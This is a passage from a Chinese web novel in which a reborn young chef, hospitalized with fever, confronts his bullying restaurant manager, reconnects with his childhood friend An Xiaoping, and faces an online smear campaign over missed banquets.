“都病成这样了,还要让人去干活,简直是周扒皮转世!”花格子衬衫阿姨提到这件事就生气,又转过头对着自己女儿道,“这领导讨人厌的样子就和你们那小组长一样,天天都就知道欺负年轻人,干脆早点气死得了。” 她女儿一看也是刚毕业不久的新晋社畜,闻言无奈地笑了笑。 大概是她同样被领导压榨,阿姨估计是将心比心所以同仇敌忾,便多关心别人一点。 姜汀州听着这些,哑着声音道了一声谢,心里却知道这是自己跑路之后,杨店长吃了大亏了。 之前也少见他气成这样,到了气急败坏口不择言的地步,怕是自己临时跑路,他客人都接进来了,难以收场,自然极度生气。 但杨店长这种人倒大霉也没有让姜汀州的心情有什么很大转变。 哪怕对方气死了,和自己有什么关系? 他醒了之后依旧歪着头躺在那里,动也不动,浑身散发着一种想死的氛围,好像眼前的一切都没有意义。 阿姨都看得出他不对劲,这人看起来有些抑郁,于是又闲不住,开口找话题:“对了,你朋友来照顾你了,就刚刚出去的,他走之前还给你切了水果,就放在那里,你先吃一点吧。” 姜汀州闻言果然有点反应,他一听“朋友”这词心里便有点疑惑。 朋友?谁?他有什么能过来照顾他的朋友吗? 他喉咙非常疼,没有力气开口仔细问,阿姨只说看着像个高中生。 目光一扫,就看到旁边床头柜上摆着水果,是橘子、哈密瓜和葡萄,而且还切好了放在便当盒里码放好了,整整齐齐,上面还给他放了叉子。 要不是重生了,他会真的以为是自己的万能秘书林博东跟过来了。 姜汀州刚醒的时候没感觉,现在看到水果,便能感觉到肚子饿了。 他发烧之后就没吃过什么东西,一天多都没有进食了。 护士在这个时候来了,听到他肚子响,一边检查一边说现在吃点垫补一下也好,把他扶了起来,又把水果盘放在他手里。 “现在可以吃一点,”她道,“不然一直饿着,你身上会更难受。” 姜汀州盯着盘子里的各色水果看了好一会儿,慢吞吞地拿叉子戳了一瓣橘子,机械地塞进嘴里。 他自重生睁开眼来身体就没有舒服过,头昏脑胀,心态炸裂,嘴里一直泛着苦味,直到塞进嘴里的橘子瓣带来一丝清凉,才给他不一样的感觉,就像是突然从苦水里拔出来一些了。 他的舌头比常人敏感许多,能尝到旁人尝不到的细微味道,此时太久没有进食,这味道就更加明显。 橘子很甜,果肉水分充足,轻轻一抿就在唇齿之间炸开,清新的柑橘味就充斥了整个口腔,甜味从舌尖冲到天灵盖。 他饿得有点疼的胃总算缓解了一些。 真甜。 弥漫在口腔里的橘子味,仿佛让姜汀州这个灰色的人有了一点颜色,整个人都有了一丝神采。 他幼时住在养父家的时候吃不饱饭,彼时对食物的珍视就刻在他心里了,哪怕再难过的时候,吃到好吃的东西就没有那么难受了。 他有了那么一点活气,慢吞吞地吃第二瓣橘子的时候,病房就有人进来“看”他了。 或者说,是兴师问罪来了,因为来的人昨天受了大气的杨店长。 他阴沉着脸,看起来就很不吉利,整个人很高大,走进来的时候像个是老僵尸,一进来看着姜汀州就冷笑:“你倒是醒了,知不知道自己给我捅了多大的篓子!” 他昨天打了那个电话,知道姜汀州跑去医院的,人民医院很好找,姜汀州心里也知道,这人迟早要找过来。 但这里并不是杨店长撒泼的地方,所以他并没有回话,低着头又吃了一瓣汁水充沛的橘子,继续嚼嚼嚼。 现在是吃橘子的季节吗? 感觉以前都没有吃到这么好吃的橘子。 他的态度让本来就憋着火的杨店长更生气了,站在那里指着他骂了几句,什么“没有责任心”“撒谎骗人”“简直人品低下”都说出来了。 店长之前对姜汀州一直都是高高在上,仿佛真以为自己是什么长辈了,但实际上他的奖金和老店的流水挂钩,姜汀州这些年在宫宴老店当牛做马,创造了数不清的利润,他拿到手的奖金也翻了许多倍,不知谁才是真正的衣食父母。 倘若住院的人是家里受宠的姜柚,他绝对不会是这样的态度,绝不敢讲这种过分的话。 杨店长看他和木头人一样没反应,也不看自己,又气势汹汹往前一步,接着质问道:“你什么时候回去?你看没看昨天有几个媒体都发微博明里暗里说我们店耍大牌了,赵彤知他们还会在这里呆一天,我好说歹说,他们同意今天再来。” “你要是回去,我当你将功补过,不会和你父亲说的,以后也懒得和你计较。” 姜汀州已经吃了三瓣橘子,又慢吞吞往嘴里塞了一口蜜瓜。 他心里只想着,这里的水果应该都是精心挑过的,这切好的蜜瓜也特别甜,是最近几年流行的冰激凌口感的瓜,鲜软多汁。 这瓜一尝就知道品质很好,应该是这附近水果店里最贵的品种了,和宫宴里拿来做甜品的都差不了多少,探望病号能带这样的好的水果过来,可算是十分用心了。 他隐隐约约猜到这个时候来照顾他的“朋友”是谁了。 姜汀州在专心致志地走神,完全没把杨店长放在眼里。 “去干什么?”这时候倒是床边的护士接了话,“病人昨天高温惊厥,现在还没退烧,刚刚测都三十九度多,再晚一点来医院就要烧出肺炎了,他现在就得住院,哪里都不能去!” 一向说一不二的杨店长才不听这个,他觉得姜汀州醒了就是没事了,更不把一个小小的护士放在眼里,现在的脾气更是控制不住了,站在床头还居高临下地警告姜汀州:“店里第一季度的流水马上就要出了,我难道是为了我一个人吗?姜汀州,老店生意好,获益最大的难道不是你吗?我都是为了你好!” 他和姜柚比拼的事情是当着姜氏董事会所有人的面说的,公司里很多人都知道,杨店长他们当然也十分清楚,所以不管姜汀州压力多大,每每都拿这件事来刺激他。 姜汀州为了自己拼,弄到发高烧也不怪其他人,原就是自己的选择,但硬要说的话,“副总”只是一个画出来的饼,离拿到实打实的股份进董事会还有很大距离,但店长和老店所有员工的奖金收入都是和流水挂钩的,要说这比赛只是姜汀州得益最大,那就是不要脸了。 这人是拿这件事在威胁他呢。 他笑了一声,又慢吞吞咬了一口提子。 这提子果子小,和蜜瓜比起来不够甜,但是香味浓郁,像是小时候吃的那种水晶葡萄的感觉,入口开始泛出一些酸味来,是很特别的味道。 于是姜汀州稍微有点了开口说话的心情。 他伸出手指朝对方勾了勾,示意他靠近,他喉咙疼着,没有办法大声说话,杨店长便凑了过来,听见了他的回答。 “回去?你真是做梦。”姜汀州道,“你跪着求我都不行,杨金豪,你以为自己是什么东西?给我提鞋都不配。” 杨店长听了他这句话,先是愣了一下,完全没想到这是姜汀州能说出来的,随后反应过来了,勃然大怒。 这一下让他想起昨天的事情来,新仇旧恨叠加顿时发起火来,心想必要给他点颜色看看,以后都是这种态度,那还了得? 他火气上头,一下把姜汀州端着的水果盒子“啪”地一下打落在地。 盘子里摆放得漂漂亮亮的水果拼盘只吃了几口,一下全翻了,掉在病床上和地上,橘子、蜜瓜和葡萄滚了一地。 这行动突然,旁边的护士都吓了一跳,但几乎是他打翻东西的同一瞬间,躺在床上的姜汀州身体跟着盘子翻了下去,看着就是被人推了一把。 这病床本来就不大,他便从床上掉到地下去了,手臂上还打着点滴,顺着一扯,点滴瓶哐当作响,顺带着放在床头的一瓶生理盐水“啪”地砸在地上碎了,姜汀州捂着头,哑着嗓子叫了一句好痛。 护士看不过去,大声质问他:“你干什么推病人?这里是医院,赶紧出去,不出去我叫保安了!” 杨店长人都懵了,他本来就是脾气很差的人,指着姜汀州就骂“你装什么”,还想上前扯他起来,上来拦人的护士都被他一把推开。 脸色苍白病恹恹的姜汀州在都是碎玻璃片的地下被他拉扯起来,又软着身子倒了下去,他身上的病号服都乱了,露出一大块肩膀,瘦得锁骨都凸出来,显得十分可怜。 旁边床位的阿姨反应很快,早在杨店长冲进来大声说话的时候就认出那是昨天在电话里骂人的王八蛋,扯了扯自己的女儿。 那女孩反应也很快,看起来老实,倒是很有眼力见,推了推眼镜,早就开始在一边拍,姜汀州早就看到了。 当水果盘被打翻人也摔下去的的时候,阿姨举着手机的动作就遮掩都不遮掩了,恨不得站在跟前拍,一边拍还一边大声喊叫。 “救命啊,打人啦!” “快来看啊,有人在医院搞医闹!” “还有没有王法,还有没有天理啦?什么吸血鬼公司啊,人都病到住院了,还要去工作,甚至还动手打人,来来来,大家都来看,看看这是什么人!” 杨店长一回头就是几个手机摄像头对着他,等医院保安过来的时候,因为动静实在太大,门口已经围了一圈看热闹的人,人民医院住院部本来就人很多,好多人都举着手机拍了一张。 病房凌乱不堪,虚弱的病人坐在地上,护士躲在一边,这场景要多乱有多乱,杨店长着急,还想伸手去薅姜汀州起来,就在这时候,病房门口又进来一个人,一看这场景就急了,喊了一句:“你放开他!” 那位少年,如阿姨形容的像是个高中生小孩,冲进来的时候跟个小-炮-弹一样,一下把杨店长挤开了。 杨店长下意识还手,推了他一把,少年一个跌咧,一下子没把姜汀州抱起来,反而倒在地上,手压着地上的碎片流血了,抱着姜汀州一蹭,蹭到他身上了,在蓝白色的病号服上特别显眼。 两个人都在地上,身上脸上还有血迹,这些全都被看热闹的人拍了下来,接下来医院保安也过来了,大声呵斥他赶紧束手就擒。 杨店长向来体面,哪里经历过这样的场景?他额头上青筋暴起,有气撒不出来。 姜汀州就是故意的! 自己根本没有用什么力气,他平时身体壮得和牛一样,每天只睡三四个小时都不带累的,现在甚至还坐在地上不起来,哪有这么柔弱? 平时看他浓眉大眼的挺老实一个人,哪里学来的这样的本事? 杨店长连解释的机会都没有,但这种情况下,他甚至都没有办法自己离开。 医院的保安虎视眈眈盯着他,并且拿防护器具把他牢牢按在墙角那里,他只觉自己手臂都要脱臼了,疼得要命,旁边围观群众还大声叫好,甚至还有热心人要上来揍他。 4、第四章 幸好保安来得快,没引起什么后果,医院很快把过来闹事的杨店长带走了。 杨店长衣服凌乱,手臂巨痛,不明白为什么自己只是想把姜汀州带回去怎么会变成这样,他被人盘问了半天,叫嚣着要找律师也没用,保安见这种人见得多了,根本不怕。 最终是店里的人赶了过来,赔了医院钱,加上好说歹说才能出去,一路被人盯着出了医院的门,灰头土脸,丢尽颜面。 姜汀州在病房里面听到这处理结果,觉得自己应该是可以清净一段时间了。 这套遇事先卖惨算是和姜柚学的,他现在身上没有力气,没有精力和人吵架打架,这种办法是最有用的。 以前不屑这种手段,但现在无所谓了,反正只要有用就行。 气势汹汹来找茬的杨店长走了之后,他被扶起来坐回了床上,旁边举着手机看热闹的人也散了,摔碎的碎片也很快收拾了。 就是可惜了那些水果,已经全部落在地上脏了,他都没吃上几口。 刚刚冲进来的像高中生一样的少年手被地上的碎片划伤了,伤口不深,血已经止住了。 医院安保问过他要不要报警,少年心知就这么一道小伤不能把对方怎么样,而且他不愿意离开去派出所做笔录,就固执地想守着姜汀州。 护士让他去仔细看看伤口他不去,坐在他病床边简单包扎了一下,不敢走,仿佛怕什么人再来。 姜汀州盯着他看了好一会儿,开口劝道:“你别任性,伤口小也不能不注意,赶紧去上点药。” 这人明明刚才不要命一样护着姜汀州,但听到这人出声劝他的时候,少年的语气却有些凶狠,回道:“姜汀州,你还有空管我?你看看那些人什么态度,自己在姜家被欺负成这样,病死了都没人管你!” 姜汀州叹气:“安小屏,我们好久没见了,你非要这么和我说话吗?” 他许久都没有见过这个人了。 只有再次见到这张脸,姜汀州才想起来,除了生意场上来来往往的合作对象,他其实也是有真正的朋友的。 他年少的好朋友安小屏现在染着橘色的头发,就像姜汀州刚刚吃的橘子一样的颜色,看起来特别有活力。 他长得白,顶着这样的头发更显得非常亮眼,听到姜汀州叫他,狠狠地瞪了他一眼,重重地“哼”了一声,随后转身出去,把刚刚收拾好的垃圾拿出去丢掉,只留给他一个冷酷的背影。 虽然态度不大好,但反而叫姜汀州觉得高兴。他吃了东西身上有了一点力气,他没再病恹恹地躺在床上,而是自己撑着坐了起来。 隔壁床阿姨看着他们两个的样子,开口道:“你朋友这么凶啊?” “他不凶啊,”姜汀州道,脸上总算露出一点浅浅的笑,又补充道,“他以前不这样,小的时候很乖的。” 不仅乖,还有点怂。 安小屏是他年少时候唯一的朋友,比他小三岁,今年才十九,姜汀州刚回姜家的时候脸上那一道疤算是为他留的。 那时候几个高中的混混拦着学生收保护费,初中甚至小学的小朋友都不放过,姜汀州碰到一回,看不过去,撸起袖子打了一架,之后那些混混收敛很多,再不敢欺负人了。 安小屏就是他当时救下来的人,自从以后,天天跟着他,也不害怕,一口一个“哥”,嘴还很甜。 他打了那一架之后,附近几个学校的鬼火少年都管他叫老大,觉得他最厉害,虽然姜汀州没认过,他忙着打工,没空做老大,唯一能算的上朋友的,也就是那时候有些傻呆呆的安小屏。 但现在安小屏怎么会过来呢? 这件事问起来还得归功于旁边的热心阿姨。 姜汀州昏迷之后就一个人躺在那里总不是个事,至少得通知家人朋友,她想着帮人帮到底,和医院这边商量了用指纹识别打开了他的手机,联系了通讯录第一个人。 安小屏恰好名字首字母占了优势,他高考之后在永青隔壁城市,也就是东江省的省会城市上英市上大学,一接到电话立刻赶过来了。 “昨天晚上大半夜就跑过来了,急的哟,”阿姨道,“虽然脾气差了点,但是很热心,唉,你们别吵架了。” 姜汀州听到这两句话是有点惊讶的。 这两年他和安小屏的关系有点紧张,不像小时候那样单纯,看对方的态度就能看得出来。 两个人上次见面还是过年的时候,明明是喜庆的日子,好不容易聚在一起,见面没说几句话就吵了一架。 安小屏大骂姜家是个吃人不吐骨头的鬼地方让他离开,姜汀州不肯,他非要证明自己,于是最终还是不欢而散,直到现在还是没个好脸色。 之所以闹成这样,还是和姜柚有关。 他刚回到姜家的时候,安小屏一开始还很为他高兴,直到去参加那次生日宴。 姜柚和姜汀州的生日是同一天,宴会自然也一起举办,弄得很热闹。姜柚的朋友很多,姜汀州却只有一个安小屏,他特意穿上了自己最好的衣服,进来的时候恰好和姜柚带来的朋友遇上。 不知道巧合还是什么,安小屏身上那件衣服和别人撞衫,一个是仿照的假货,一个是真名牌。 那个时候安小屏还很胖,圆咕隆咚的,年纪又小,在这样的场合局促不安,显得很滑稽,遇见姜柚以及他那群光鲜亮丽的朋友,像是两个世界的人。 姜柚的朋友们刻意捉弄他,弄得安小屏浑身都是奶油,头发都结块了,姜汀州没有办法像之前一样保护他,连自己都一直在宴席上受着明里暗里的挤兑,迟钝的安小屏目睹着这一切,宴席中途就抹着眼泪离席了。 类似的事情发生过不止一次。 安小屏每次跑去见他,很多时候都能看到姜汀州受排挤的样子。 安小屏作为他唯一的朋友,数次劝他离开姜家,觉得那个家里的人都不尊重他,希望姜汀州能回到之前平静的生活,而不是在姜家活得这样艰难。 但他没有能力,反倒数次被姜柚那群人捉弄。 姜汀州知道这是受自己牵连,每每为他出头,但也是自身难保,在之后反倒惹出更多的麻烦事情,直到后来,他忍无可忍打断了姜柚的鼻梁,连着安小屏一起进了局子蹲了几天。 这件事闹大之后,姜汀州不得不退学了。 安小屏为此闹了一场,但他人微言轻,没有任何结果,他接受不了姜汀州为此连高中都不上了,两个人的关系就渐渐变了。 哪怕后来姜汀州当了宫宴主厨之后邀请他过来,安小屏他也没有再来,主动去找也不见人,即使见了面,两个人也经常因为各种事情闹得不愉快。 安小屏倒完垃圾很快就回来了,他之前出去是去办陪床的手续,还买了早餐放在一边,刚刚精心切好的水果自然也不必说,是他特意准备好的。 “我都说了很多次了,你在姜家要死要活,得到的就是这样的结果,”安小屏一看他苍白的脸色就很不高兴,骂骂咧咧,“都病成这样了,你竟然还不和我说!” 他说的话却和手上的动作截然相反,一边说狠话,一边看姜汀州嘴唇干裂还伸出手来喂他喝水,手上动作很轻,像是怕他呛到。 姜汀州慢慢喝了几口,又抬头看他。 能见到年纪轻轻且生气十足的安小屏,是这场稀烂重生难得的好处,所以虽然挨了几句骂,他的心情反而变好了。 安小屏感受到他的目光,又怼道:“看我干什么?” “看你好看,”姜汀州诚实道,“这头发染得不错,很衬你。” 他还伸手摸了摸,橘色的头发染完之后变硬了,不像是以前柔软的样子。 安小屏这几年瘦了很多,不是小时候被姜柚那群人取笑“死胖子”的时候,长高了一些,再没有白白胖胖好欺负的样子,眉眼反而有几分精致秀气,脾气也变了,不像是小的时候那么畏手畏脚。 现在刚上了大学的安小屏被人拍了发在网上,火了一阵,现在做了个小有名气的颜值网红。 他现在真的挺漂亮的。 安小屏:“……” 他用怀疑的目光看了姜汀州,伸手摸了摸他的额头,仿佛觉得他是烧坏了脑子,突然说话好听了。 之前的姜汀州还觉得这样有些出格,怕他学坏,又觉得他性格变化太大,两人还因此拌过嘴,闹了个不欢而散。 “别摸了,我非常清醒,”姜汀州道,“你特意来这一趟,也不是非要和我这个病人吵架的吧?” 安小屏哼哼唧唧几声,不说话了。 他只是心里有气,嘴巴毒,心却是好的。 旁边买的水果还剩一些,重新给他切好了,还有给姜汀州买的粥,他刚刚出去就是为了去买早餐的,还不肯让他伸手拿,继续伸手喂给他。 姜汀州不太习惯,他毕竟已经独当一面很久,哪还有人把他当小孩一样维护的,但朋友不管这个,安小屏看他不张嘴,瞪他:“赶紧吃。” 姜汀州咽下一口粥,白粥也没有什么味道,但是吃到嘴里暖暖的,淡淡的米香甜味。 他身边的所有人都不可避免地受到他与姜柚争端的影响,安小屏自然也不例外,可惜,站在姜汀州这边的人大多都没什么好下场。 在之后几年,姜汀州和姜柚竞争越来越激烈的时候,姜汀州被姜柚粉丝泼脏水扯出来骂,安小屏主动出来发声解释,结果反被姜柚那些人针对。 姜柚粉丝扒出他以前胖的样子,说他现在都是p图,又颠倒黑白说他以前在学校和姜汀州一起霸凌别人。 颜值粉本来就不怎么稳固,小网红安小屏没有背景,无法解释,一度被逼到退网,后来很多事情都渐渐被澄清,但安小屏也回不到以前的样子。 和他同一批成名的网红都或多或少地吃到了互联网红利,唯有他沉寂下去,甚至因为曾经的网暴事件,性格都变了,连正常生活都受到了很久的影响。 他本不应该遭受这些的,哪怕之后姜汀州扳回一局,对他造成的伤害也没有办法弥补,安小屏最终搬去了很远的地方,临走之前,还说着不怪他,只是自己承受不住这些,只好离开这里,希望不要拖累他。 仿佛这些就是和“主角”作对的下场,哪怕安小屏根本没做错什么。 后来的姜汀州在生意场上长袖善舞,有数不清的生意伙伴,这些人都夹杂着利益交换,年少时真正纯粹的朋友已经走失了。 他奋斗向上这一路,他自己失去什么倒不觉得后悔,但对于这个朋友,他心里总是有亏欠,却难以弥补。 姜汀州寻思老天爷不如直接让安小屏重生,离自己这个处处倒霉的扫把星远一点好,但是现实偏偏是自己重生了。 他想到这里,总算稍稍打起了一点精神,至少,没那么想死了。 “你的手还是得上药,”姜汀州道,“怪我,你倒下的时候我应该接住你的。” 他讲话沙哑,语气比之前还有软,安小屏觉得他怪怪的,甚至看自己的眼神都透露出一种……莫名的慈爱感觉? 姜汀州怎么了?难道烧糊涂了? 但姜汀州这种态度,两个人自然是吵不起来架了,倒是难得的和谐,安小屏语气也软和下来,哼哼几声:“用不着,我这么点小伤明天就好了,再说了,我也不吃亏,刚刚趁旁边人没看到踢了他两脚,保管他回去腿都是青的。” 他讲起这件事还有点小得意,又高高兴兴地喂姜汀州喝了几口白粥,两个人现在的氛围倒有几分其乐融融。 这个时候,隔壁床花衬衫阿姨的记者女儿把刚刚的事情拍了下来,她把手机里的视频反复看了几遍,望着姜汀州恍然大悟道:“我想起来你是谁了,你是我们市里那个刚刚拿央视美食节目的冠军吧,怪不得我看你觉得眼熟。” “天哪,你都是大赛冠军了,怎么还被店里的人欺负成这样?” 5、第五章 这个问题姜汀州也想问自己。 现在想想,年轻的他心里总是有太多的顾虑,被杨店长这些人折腾成这样都没爆发,现在看来真是傻得可笑。 随后,那圆脸小姑娘就带着刚刚拍的视频,过来做了正式的自我介绍,名叫田荟。 姜汀州刚醒来的时候,从阿姨的只言片语里早就知道他是个记者,出于职业反应,举起设备拍视频才这样迅速,而且还拍得非常清晰,镜头怼着杨店长,把他那一刻狰狞的神色全部拍下来了。 现在的姜汀州还不算是什么公众人物,央视的那档美食节目是下午档,虽然圈子里许多老食客会关注,但收视率不算特别高,自然也没有人人都认识的知名度。 田荟觉得他眼熟,因为她恰好是新闻从业者,又是永青本地的媒体,甚至前段时间还出过姜汀州夺冠的新闻。 “咱们算是有点缘分,我差点就抢到你那条新闻了,可惜还是被我们小组长分给其他人了,”田荟惋惜道,“那个同事还说约了你做访谈,又说你特别忙,最近都没有档期,没想到在这里能遇到你。” 她当时就觉得这个人长得这么好,眉宇间的那股气质并不像是普通人,特意多留心了些。 央视的节目都是死亡光线,镜头还把人拉胖了,而且节目里他经常戴口罩,还戴着厨师帽,就剩下一双眼睛,且现在还病着,着装和样子都有些变化。 而且姜汀州比参赛的时候更瘦,至少瘦了十斤以上,她一下子没认出,现在这一闹,她总算是对上人了。 说真的,他不太上镜,本人要比电视上好看很多,即使在病中也让人移不开眼睛,是很明艳的长相,完全不像是一个厨子,倒像是什么明星。 她这样一说,姜汀州也有些印象,想了想,道:“你们公司……是青鱼传媒吧?谢谢你们,当时还给我说了好话。” 他拿冠军的时候许多人不服气,觉得他资历太浅节目有黑幕,青鱼传媒的那篇报道为他说了不少好话,所以姜汀州对那篇报道记忆深刻。 虽然是个小媒体,但是文章倒是写得有些水平,借着他夺冠这件事还介绍了永青本地的饮食文化,他还特意点了赞。 田荟笑道:“嗨,应该的,你拿了冠军也是我们永青的骄傲。” 此时的姜汀州和田荟交谈,倒是发现对方对那篇报道如数家珍,但他记得当时青鱼传媒还联系过自己做专访,但是实在太忙了就不了了之。 当时联系他的想要做采访是个男的,那篇报道里也并没有田荟的名字。 他旁边田阿姨一直听着这话,插了一句嘴:“哪条新闻?是不是上个月那篇啊?哎,我和你说,其实她们单位好多稿子都是她写的,被他们小组长拿去给其他人,就是欺负她年轻没背景,荟荟回来还忍不住哭呢,你得说句公道话……” “妈,算了,以前的事情别提了,这件事和人家也没关系,”田荟觉得尴尬,连忙打断了她,马上对着姜汀州换了个话题,“我也没想到,你都拿了冠军还被你们老板这么压榨,刚刚视频我都拍下来了,我等会儿传给你,你要不赶紧拿去网上澄清一下吧。” 姜汀州疑惑:“等等,我要澄清什么?” 他之前一直昏迷,并不知道发生了什么,直到田荟给他看了手机,才知道杨店长特意过来兴师问罪是有原因的。 昨天临时在“宫宴”订桌的客人确实特殊,是真正的公众人物,可这些大明星和知名记者大v们扑了个空。 没有姜汀州的宫宴老店虽然也有其他厨师可以上菜,但手艺远远比不上姜汀州,这些客人自然觉得受到了怠慢,有几个还当场给了脸色。 赵彤知和杨店长是朋友,这次请的几个媒体记者里面有知名老饕,奔着这几道菜来的,一尝名不副实,场面自然难看。 杨店长出面解释,只好把这件事全甩给姜汀州,说主厨擅离职守店里也没有办法,好说歹说让这些人今天再来一回,宫宴一定盛情款待给与补偿,所以他才急着过来医院找姜汀州,好把这捅出来的篓子弥补回去。 但昨天晚上,便已经有大v气不过,发了个微博阴阳怪气。 大概是听了杨店长那边添油加醋的甩锅,那个大v转了那条姜汀州夺冠的微薄,说了一句“不知道哪里沽名钓誉的坏脾气,人品不行,菜做得再好也无用”,并且直接@了姜汀州。 这样的话自然引来不少人追问,于是那大v便把昨天晚上发生的事情说了一遍,当然,是杨店长那边添油加醋的版本。 这就又掀起了一波对姜汀州的攻击。 之所以说是“又”,他央视比赛的冠军是打败了几位年资深厚的老厨师,姜汀州年纪太小,当时就惹来不少质疑。 虽然当时有青鱼传媒这样的本地媒体帮他说话,但没有什么大用处,他在网上的风评本来就不太好。 这个时候的姜汀州实在玩不转网络,他只会闷头做事,在心里安慰着自己时间会证明一切,但这些话造成的影响却是切实存在的,明明拿了冠军,现在在网络上一搜索他的名字竟然都是一些负面评价。 就连田荟都看不过去。 她看完网络上的流言和评价,生气道:“你昨天都病成那样了,和什么耍大牌人品不好有什么关系?我当时做新闻还特意去查过,你的师承还有之前的履历,还有一些食客的评价,都是做不得假的,明明就是实至名归。再说了,年轻就不能拿冠军吗?还是业内的前辈呢,怎么能不经调查就这样瞎说!” 她是个刚进入社会不久的年轻人,初心未泯,义愤填膺,姜汀州看完之后,却对种事情习以为常。 这种明明没做错什么却背锅挨骂的炮灰感觉,对他来说真是熟悉得不能再熟悉了,他看起来还算是平静。 他没生气,安小屏倒是跟着生气了。 他脾气急,现在已经是个小网红,账号里有不少粉丝,立刻就想帮忙澄清解释,冲出去和这个大v对线,但姜汀州迅速拦下来了,道:“你先别冲动,等我想想。” 安小屏闻言,“啪”把手机一放,气道:“你是不是还对姜家心软?!” “不是心软。”姜汀州道,又劝他,“你先坐下,先冷静一下。” 一条微博而已,评论就那么一千多,不过是闲的没事的人骂一骂,姜汀州大风大浪都经过了,这点小事他真不放在心上。 倘若没见到安小屏,他这会儿还觉得这重生的人生没有意义,哪有心思管这些煞笔,比起这些大v的言论,他更不想让安小屏因为自己被波及到。 “反正你别管。” 姜汀州再三告诫他,但安小屏“哼”了一声,在手机上敲了几下。 田荟刷新了一下,随后告诉姜汀州:“晚了,他已经上去吵架了。” 安小屏就是个小网红,在网上有个几万颜值粉,哪里抵得过大v几百万的粉丝量,这个时候让他删除已经来不及了,因为已经有人追着去他的账号骂他了。 姜汀州现在不马上管不行了,否则安小屏哪里斗得过这些人。 他叹了口气,仔细看了看那大v和粉丝对话的内容,确定了杨店长昨天对他们承诺今天要重摆宴席。 但是刚刚发生的事情,注定让今天的这场宴席也走向失败。 姜汀州随后把自己的手机关机,没人在今天能够联系得上他,随后告知护士,不接受任何人探视。 因为杨店长那如同医闹一样的闹剧,医院这边也重视起来,住院部这里本来就不是随便能进来的,探视和陪床都要办手续才行,现在楼层里还多了保安巡视,只要病人不愿意,不可能有人冲进来把他强行带走。 随后,姜汀州转过头,问了田荟一句:“当时我的那条新闻其实真的是你写的,被拿给了其他人,是吧?” 她还没回答,田阿姨就答了:“真的,我看着她在家里加班写的,熬到半夜呢!” “我相信的,”姜汀州道,“我们在这里遇见是巧合,也是缘分,这视频又恰好被你拍下来了,谢谢你们之前帮忙照顾我,不管怎么样,都算我欠你的,现在刚好还了,希望能做一些补偿。田荟,你先把视频留好,关于这个回应,我有些想法。” 田荟一愣,她原来没想拿这视频做什么新闻,只是想帮忙保存证据,开口问了一句:“你要怎么样?” “我觉得,既然开了这个头,挨了这场骂,不如再闹大一些,”姜汀州一笑,“这件事不能这样稀里糊涂过去了,不然多可惜,对吧?” 他现在还病着,却渐渐地挺直了背,撑着坐了起来。 此时此刻,杨店长折腾半天,好不容易回到了店里,坐了一会儿却觉得浑身疼,哪哪儿都不舒服。 他的手臂是被医院保安扭的,腿不知道被谁踢了两脚,他卷起裤子一看,小腿都有明显的淤青,走起路来都一瘸一拐的,偏偏还无处申冤,但他的难受还还没有停止。 大堂经理擦着汗过来告诉他,今天中午餐厅就已经接了老客户好几单投诉了,姜汀州不在,不仅几道热门的招牌菜做不了,厨房所有人都难免有些手忙脚乱。 现在的宫宴不比几年前,没有姜汀州,副主厨管不住,接连出了好几次问题。 这个人比他们想象的重要很多。 要不就是上菜时间太久,要不就是味道不对,宫宴可不是什么平价餐厅,来的客人许多都十分挑剔,许多老客人更是一点变化都能吃得出来,根本糊弄不过去。 杨店长咬着牙,憋出几个字:“你们再给姜汀州打电话,他要什么都可以谈,大不了我就和他服一次软……” 这回他吃了亏,知道恐吓威胁怕是没有用了,但心里总是认为姜汀州不会真正扔下宫宴不管,不过是气上来了想拿乔而已,可事情的发展并不是像平时那样了。 “已经打了好几个电话了,不行,他关机了,”大堂经理道,声音都有些慌了,“刚刚我也让其他下人去医院找他,但是也没有见到人。” “店长,他不会今天真的不回来了吧?晚上赵彤知和那群记者还要过来呢,我们怎么办?不就一场小病吗?他以前从来不会这样,是不是昨天那个记者在网上说的那些太过分,把他惹生气了?” 如果姜汀州真的不回来,这些人点名要吃的菜肯定是做不成了。 “咱们还有办法,肯定还有办法……” 他说的这些,杨店长自然清楚,焦虑地在办公室来回走了几圈,办法没有想出来,腿倒是越来越疼。 时间越来越晚,姜汀州却始终联系不上。 眼见着快要到时间了,杨店长抹干了头顶上的虚汗,狠声道:“我不会做菜,难道还不会别的吗?这件事就算有错,也是他姜汀州一个人任性妄为的错!他还想趁机教训我,我就先教训教训他!” 他像是已经有了什么办法,打开手机,翻了翻通讯录,拨了个电话。 这回电话倒是很快打通了,对面的声音似乎一开口就带着笑意,道:“杨叔叔,你好久都没给我打电话了,什么事?” “小柚啊,我想请你帮个忙,”杨店长和这个人说话语气都变了,与面对姜汀州颐指气使的样子截然相反,“你认不认识什么人,能在网上帮帮忙说话的,我这里有点小事……” 他不用多说,对方就已经明白了,并没有多问,一口便答应下来。 6、第六章 今天晚上的宫宴老店场面注定不会太好看。这一情况店里所有人都有预料,但是真面对的时候还是叫人难受。 到了晚餐时间,投诉的老客数量变多了,甚至还有人冷着脸直接退菜的,问的最多的问题就是“你们主厨哪里去了?”“这是宫宴的水平吗?”,但这些都算是小问题了。 最难看的还是被许诺着再来一次的明星大v们还是败兴而归。 大家都是有脸面的人,倒没有在餐厅大闹,只是甩袖离去,丢下一句:“等着瞧。” 杨店长也上去解释了,但他解释的内容像是火上浇油。 这一次,别说那些本来就脾气不大好自视甚高的记者,连赵彤知这个明星都忍不住了。 他被两次下了面子,而且宴请的还是这些重要地客人,于是离开餐厅之后,在大晚上转发了那条说姜汀州人品不行的微博,说他年纪轻轻就飘了,不仅两次放客人鸽子,上班时间人都不在,甚至还敢殴打老板。 这个时候,杨店长身上腿上那些伤就刚好派上了用场。 他今年四十多岁,年纪不算大但是长得老,腿上和肩膀上都有淤青,仔细拍下来放到网上,神色看起来还很委屈哀戚,好像真是被虐待的老人一样。 “我就没见过脾气这么大性格这么傲的厨子!” ——赵彤知如是说。 年轻的厨艺冠军比明星架子还大这件事被赵彤知一发,当即引起来了关注,厨师耍大牌这种事情,摆在客单价如此高的高端餐厅“宫宴”头上更是让人生气。 除了有大v和明星的粉丝抱不平,路人看了也要踩一脚,而且因为赵彤知的话,还有昨天那个记者大v的铺垫,大部分的集火点都在姜汀州身上,一度冲上了热搜中位。 姜汀州拿厨艺大赛冠军的时候还只上了个低位热搜,而且挂了几十分钟就下去了,毕竟这个节目大众关注度不高,现在倒是关注度高多了。 网上轰轰烈烈全都是骂他的,仿佛他真的十恶不赦,海量的粉丝都叫嚣着要给自己的偶像维权,扬言要整顿整顿他。 姜汀州在网络上也是有账号的,是很早以前注册的,之前发过一些做菜的视频,最新的是几条上节目的视频,这几条视频下的评论瞬间被攻破。 